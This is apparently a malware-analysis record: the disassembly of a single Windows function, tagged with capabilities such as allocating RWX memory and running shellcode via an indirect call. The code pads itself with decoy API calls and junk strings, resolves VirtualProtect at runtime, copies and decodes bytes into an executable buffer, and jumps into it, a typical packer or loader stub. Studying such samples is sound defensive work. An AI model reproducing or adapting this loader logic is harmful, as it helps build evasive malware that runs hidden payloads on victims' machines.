Function at 0x402519
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get hostname
Identify system language via api
Print debug messages
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc40
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x207138
jg 0x402541
inc ebx
cmp ebx, 0x4f672
jl 0x402529
cmp dword [0x451104], 0x93
jne 0x4025d4
mov edi, dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push str.novotofijuxasaxasibeyi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
call edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push str.ravepifacijeducizanilihejabocavo
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], str.bad_exception
call fcn.004028df
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.00402906
call fcn.0040250b
push esi
call fcn.00402b61
push esi
call fcn.00402b70
pop ecx
pop ecx
push esi
call fcn.00402e02
mov eax, dword [0x449098]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add dword [0x451104], 0x1134b
push str.kernel32.dll
mov dword [0x457530], eax
call edi
push str.VirtualProtect
push eax
mov dword [0x450b94], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x451104]
mov dword [0x450b88], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x451104]
mov dword [0x450b90], eax
push eax
call dword [0x450b88]
mov ebx, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x402635
cmp dword [0x451104], esi
jbe 0x4026af
mov eax, dword [0x457530]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x450b90]
mov byte [ecx + ebx], al
cmp dword [0x451104], 0x490
jne 0x4026a6
push esi
lea eax, [ebp - 0xc40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push str.ducagi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.kimerebulewawiligicatewixay
call edi
inc ebx
cmp ebx, dword [0x451104]
jb 0x40264c
xor ebx, ebx
mov eax, dword [0x451104]
add eax, ebx
cmp eax, 0x8d
jne 0x4026d0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
inc ebx
cmp ebx, 0x38681
jl 0x4026b1
mov eax, dword [0x451104]
mov ecx, dword [0x450b90]
shr eax, 3
cmp eax, esi
jbe 0x40272b
mov ebx, ecx
mov edi, eax
cmp dword [0x451104], 0x959
jne 0x402720
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push str.Zoj_mudesodipijapazofizelapazodu
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push esi
lea eax, [ebp - 0x840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
call fcn.00401029
add ebx, 8
dec edi
jne 0x4026ef
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x62
jne 0x40274c
mov dword [ebp - 8], esi
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x450b90], eax
inc ebx
cmp ebx, 0x674db
jl 0x40272d
push 0x7b
pop edi
cmp dword [0x451104], 0x86
jne 0x40278a
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
dec edi
jne 0x402758
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x450b90]
pop edi
pop esi
pop ebx
leave
ret